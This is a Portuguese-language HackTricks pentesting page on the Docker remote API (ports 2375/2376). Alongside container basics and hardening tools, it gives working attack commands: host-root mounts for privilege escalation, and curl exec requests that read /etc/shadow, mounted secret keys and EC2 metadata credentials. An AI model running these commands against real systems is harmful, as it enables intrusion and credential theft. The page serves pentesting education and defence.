# 2375, 2376 Pentesting Docker
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares de roubo**. O principal objetivo do WhiteIntel é combater a apropriação de contas e ataques de ransomware resultantes de malwares de roubo de informações. Você pode verificar o site deles e experimentar o mecanismo de busca de forma **gratuita** em: {% embed url="https://whiteintel.io" %} --- ### Conceitos Básicos do Docker #### O que é O Docker é a **plataforma líder** na indústria de **containerização**, liderando a **inovação contínua**. Facilita a criação e distribuição sem esforço de aplicativos, abrangendo desde os **tradicionais até os futuristas**, e garante a **implantação segura** deles em diversos ambientes. #### Arquitetura básica do Docker * [**containerd**](http://containerd.io): Este é um **tempo de execução central** para contêineres, encarregado da **gestão abrangente do ciclo de vida de um contêiner**. Isso envolve lidar com a **transferência e armazenamento de imagens**, além de supervisionar a **execução, monitoramento e rede** de contêineres. **Informações mais detalhadas** sobre o containerd são **exploradas mais a fundo**. * O **container-shim** desempenha um papel crítico como um **intermediário** no manuseio de **contêineres sem interface gráfica**, assumindo perfeitamente o controle do **runc** após a inicialização dos contêineres. * [**runc**](http://runc.io): Estimado por suas capacidades de **tempo de execução de contêiner leve e universal**, o runc está alinhado com o **padrão OCI**. É usado pelo containerd para **iniciar e gerenciar contêineres** de acordo com as **diretrizes OCI**, tendo evoluído do **libcontainer** original. * [**grpc**](http://www.grpc.io) é essencial para **facilitar a comunicação** entre o containerd e o **docker-engine**, garantindo uma **interação eficiente**. * O [**OCI**](https://www.opencontainers.org) é fundamental para manter as **especificações OCI** para tempo de execução e imagens, sendo as versões mais recentes do Docker **compatíveis com os padrões de imagem e tempo de execução** OCI. #### Comandos básicos ```bash docker version #Get version of docker client, API, engine, containerd, runc, docker-init docker info #Get more infomarion about docker settings docker pull registry:5000/alpine #Download the image docker inspect #Get info of the contaienr docker network ls #List network info docker exec -it /bin/sh #Get shell inside a container docker commit registry:5000/name-container #Update container docker export -o alpine.tar #Export container as tar file docker save -o ubuntu.tar #Export an image docker ps -a #List running and stopped containers docker stop #Stop running container docker rm #Remove container ID docker image ls #List images docker rmi #Remove image docker system prune -a #This will remove: # - all stopped containers # - all networks not used by at least one container # - all images without at least one container associated to them # - all build cache ``` #### Containerd **Containerd** foi desenvolvido especificamente para atender às necessidades de plataformas de contêineres como **Docker e Kubernetes**, entre outras. Seu objetivo é **simplificar a execução de contêineres** em vários sistemas operacionais, incluindo Linux, Windows, Solaris e outros, abstraindo funcionalidades específicas do sistema operacional e chamadas de sistema. O objetivo do Containerd é incluir apenas os recursos essenciais necessários pelos usuários, buscando omitir componentes desnecessários. No entanto, reconhece-se que alcançar esse objetivo completamente é desafiador. Uma decisão de design chave é que **Containerd não lida com redes**. A rede é considerada um elemento crítico em sistemas distribuídos, com complexidades como Redes Definidas por Software (SDN) e descoberta de serviços que variam significativamente de uma plataforma para outra. Portanto, o Containerd deixa os aspectos de rede para serem gerenciados pelas plataformas que ele suporta. Enquanto o **Docker utiliza o Containerd** para executar contêineres, é importante observar que o Containerd suporta apenas um subconjunto das funcionalidades do Docker. Especificamente, o Containerd não possui as capacidades de gerenciamento de rede presentes no Docker e não suporta a criação de swarms do Docker diretamente. Essa distinção destaca o papel focado do Containerd como um ambiente de tempo de execução de contêiner, delegando funcionalidades mais especializadas para as plataformas com as quais se integra. ```bash #Containerd CLI ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image ctr images list #List images ctr container create registry:5000/alpine:latest alpine #Create container called alpine ctr container list #List containers ctr container info #Get container info ctr task start #You are given a shell inside of it ctr task list #Get status of containers ctr tasks attach #Get shell in running container ctr task pause #Stop container ctr tasks resume #Resume cotainer ctr task kill -s SIGKILL #Stop running container ctr container delete ``` #### Podman **Podman** é um mecanismo de contêiner de código aberto que adere aos [padrões da Open Container Initiative (OCI)](https://github.com/opencontainers), desenvolvido e mantido pela Red Hat. Ele se destaca do Docker com várias características distintas, especialmente sua **arquitetura sem daemon** e suporte para **contêineres sem raiz**, permitindo que os usuários executem contêineres sem privilégios de root. O Podman é projetado para ser compatível com a API do Docker, permitindo o uso de comandos da CLI do Docker. Essa compatibilidade se estende ao seu ecossistema, que inclui ferramentas como **Buildah** para construir imagens de contêiner e **Skopeo** para operações de imagem como push, pull e inspect. Mais detalhes sobre essas ferramentas podem ser encontrados em sua [página no GitHub](https://github.com/containers/buildah/tree/master/docs/containertools). **Diferenças Chave** * **Arquitetura**: Ao contrário do modelo cliente-servidor do Docker com um daemon em segundo plano, o Podman opera sem um daemon. Esse design significa que os contêineres são executados com os privilégios do usuário que os inicia, aumentando a segurança ao eliminar a necessidade de acesso de root. * **Integração com Systemd**: O Podman se integra ao **systemd** para gerenciar contêineres, permitindo o gerenciamento de contêineres por meio de unidades systemd. Isso contrasta com o uso do systemd pelo Docker principalmente para gerenciar o processo do daemon do Docker. * **Contêineres sem Raiz**: Uma característica fundamental do Podman é sua capacidade de executar contêineres sob os privilégios do usuário iniciante. Essa abordagem minimiza os riscos associados a violações de contêineres, garantindo que os invasores obtenham apenas os privilégios do usuário comprometido, e não acesso de root. A abordagem do Podman oferece uma alternativa segura e flexível ao Docker, enfatizando o gerenciamento de privilégios do usuário e a compatibilidade com os fluxos de trabalho existentes do Docker. {% hint style="info" %} Observe que, como o Podman visa suportar a mesma API que o Docker, você pode usar os mesmos comandos com o Podman como com o Docker, como: ```bash podman --version podman info pdoman images ls podman ls ``` {% endhint %} ### Informação Básica A API remota está em execução por padrão na porta 2375 quando habilitada. O serviço por padrão não exigirá autenticação, permitindo que um atacante inicie um contêiner docker privilegiado. Usando a API Remota, é possível anexar hosts / (diretório raiz) ao contêiner e ler/escrever arquivos do ambiente do host. **Porta padrão:** 2375 ``` PORT STATE SERVICE 2375/tcp open docker ``` ### Enumeração #### Manual Note que, para enumerar a API do docker, você pode usar o comando `docker` ou `curl` como no exemplo a seguir: ```bash #Using curl curl -s http://open.docker.socket:2375/version | jq #Get version {"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"} #Using docker docker -H open.docker.socket:2375 version #Get version Client: Docker Engine - Community Version: 19.03.1 API version: 1.40 Go version: go1.12.5 Git commit: 74b1e89 Built: Thu Jul 25 21:21:05 2019 OS/Arch: linux/amd64 Experimental: false Server: Docker Engine - Community Engine: Version: 19.03.1 API version: 1.40 (minimum version 1.12) Go version: go1.12.5 Git commit: 74b1e89 Built: Thu Jul 25 21:19:41 2019 OS/Arch: linux/amd64 Experimental: false containerd: Version: 1.2.6 GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb runc: Version: 1.0.0-rc8 GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f docker-init: Version: 0.18.0 GitCommit: fec3683 ``` Se você pode **acessar a API remota do docker com o comando `docker`**, você pode **executar** qualquer um dos **comandos docker** [**comentados anteriormente**](2375-pentesting-docker.md#basic-commands) para interagir com o serviço. {% hint style="info" %} Você pode `export DOCKER_HOST="tcp://localhost:2375"` e **evitar** o uso do parâmetro `-H` com o comando docker {% endhint %} **Escalonamento rápido de privilégios** ```bash docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash ``` **Curl** Às vezes você verá **2376** disponível para o endpoint **TLS**. Não consegui me conectar a ele com o cliente docker, mas é possível fazer isso com o curl. ```bash #List containers curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq #List processes inside a container curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq #Set up and exec job to hit the metadata URL curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}' #Get the output curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}' # list secrets (no secrets/swarm not set up) curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq #Check what is mounted curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}' #Get the output by starting the exec curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}' #Cat the mounted secret curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}' #List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables) curl -s –insecure https://tls-opendocker.socket:2376/services | jq #Creating a container that has mounted the host file system and read /etc/shadow curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}' curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}' curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}' #Stop the container curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop #Delete stopped containers curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune ``` Se deseja mais informações sobre isso, mais informações estão disponíveis de onde copiei os comandos: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/) #### Automático ```bash msf> use exploit/linux/http/docker_daemon_tcp nmap -sV --script "docker-*" -p ``` ### Comprometimento Na seguinte página você pode encontrar maneiras de **escapar de um container docker**: {% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} [docker-security](../linux-hardening/privilege-escalation/docker-security/) {% endcontent-ref %} Abusando disso, é possível escapar de um container, você poderia executar um container fraco na máquina remota, escapar dele e comprometer a máquina: ```bash docker -H :2375 run --rm -it --privileged --net=host -v /:/mnt alpine cat /mnt/etc/shadow ``` * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py) ### Escalação de Privilégios Se você estiver dentro de um host que está usando docker, você pode [**ler estas informações para tentar elevar os privilégios**](../linux-hardening/privilege-escalation/#writable-docker-socket). ### Descobrindo segredos em contêineres Docker em execução ```bash docker ps [| grep ] docker inspect ``` Verifique a seção de **variáveis de ambiente** em busca de segredos e você pode encontrar: * Senhas. * IPs. * Portas. * Caminhos. * Outros... . Se deseja extrair um arquivo: ```bash docker cp :/etc/ ``` ### Protegendo seu Docker #### Protegendo a instalação e uso do Docker * Você pode usar a ferramenta [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) para inspecionar sua instalação atual do Docker. * `./docker-bench-security.sh` * Você pode usar a ferramenta [https://github.com/kost/dockscan](https://github.com/kost/dockscan) para inspecionar sua instalação atual do Docker. * `dockscan -v unix:///var/run/docker.sock` * Você pode usar a ferramenta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para verificar os privilégios que um contêiner terá ao ser executado com diferentes opções de segurança. Isso é útil para entender as implicações de usar algumas opções de segurança para executar um contêiner: * `docker run --rm -it r.j3ss.co/amicontained` * `docker run --rm -it --pid host r.j3ss.co/amicontained` * `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained` #### Protegendo Imagens do Docker * Você pode usar uma imagem do Docker de [https://github.com/quay/clair](https://github.com/quay/clair) para escanear suas outras imagens do Docker e encontrar vulnerabilidades. * `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"` * `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image` #### Protegendo Dockerfiles * Você pode usar a ferramenta [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) para **inspecionar seu Dockerfile** e encontrar todos os tipos de configurações incorretas. Cada configuração incorreta receberá um ID, você pode encontrar aqui [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) como corrigir cada uma delas. * `dockerfilelinter -f Dockerfile` ![](<../.gitbook/assets/image (173).png>) * Você pode usar a ferramenta [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) para **inspecionar seu Dockerfile** e encontrar todos os tipos de configurações incorretas. * `dockerfilelint Dockerfile` ![](<../.gitbook/assets/image (209).png>) * Você pode usar a ferramenta [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) para **inspecionar seu Dockerfile** e encontrar todos os tipos de configurações incorretas. * `dockerlint Dockerfile` ![](<../.gitbook/assets/image (68).png>) * Você pode usar a ferramenta [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) para **inspecionar seu Dockerfile** e encontrar todos os tipos de configurações incorretas. * `hadolint Dockerfile` ![](<../.gitbook/assets/image (498).png>) #### Registrando atividades suspeitas * Você pode usar a ferramenta [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) para detectar **comportamentos suspeitos em contêineres em execução**. * Observe no trecho a seguir como **Falco compila um módulo de kernel e o insere**. Depois disso, ele carrega as regras e **começa a registrar atividades suspeitas**. Neste caso, ele detectou 2 contêineres privilegiados iniciados, sendo que um deles possui um ponto de montagem sensível, e após alguns segundos detectou a abertura de um shell dentro de um dos contêineres. ```bash docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco * Setting up /usr/src links from host * Unloading falco-probe, if present * Running dkms install for falco Kernel preparation unnecessary for this kernel. Skipping... Building module: cleaning build area...... make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build............. cleaning build area...... DKMS: build completed. falco-probe.ko: Running module version sanity check. modinfo: ERROR: missing module or filename. - Original module - No original module exists within this kernel - Installation - Installing to /lib/modules/5.0.0-20-generic/kernel/extra/ mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory depmod... DKMS: install completed. * Trying to load a dkms falco-probe, if present falco-probe found and loaded in dkms 2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml 2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml: 2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml: 2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml: 2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765 2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user= command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04) 2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user= command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave) 2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest) 2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu) ``` #### Monitoramento do Docker Você pode usar o auditd para monitorar o docker. ### Referências * [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html) * [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc) ### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**. O principal objetivo do WhiteIntel é combater invasões de contas e ataques de ransomware resultantes de malwares que roubam informações. Você pode verificar o site deles e experimentar o mecanismo gratuitamente em: {% embed url="https://whiteintel.io" %}
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).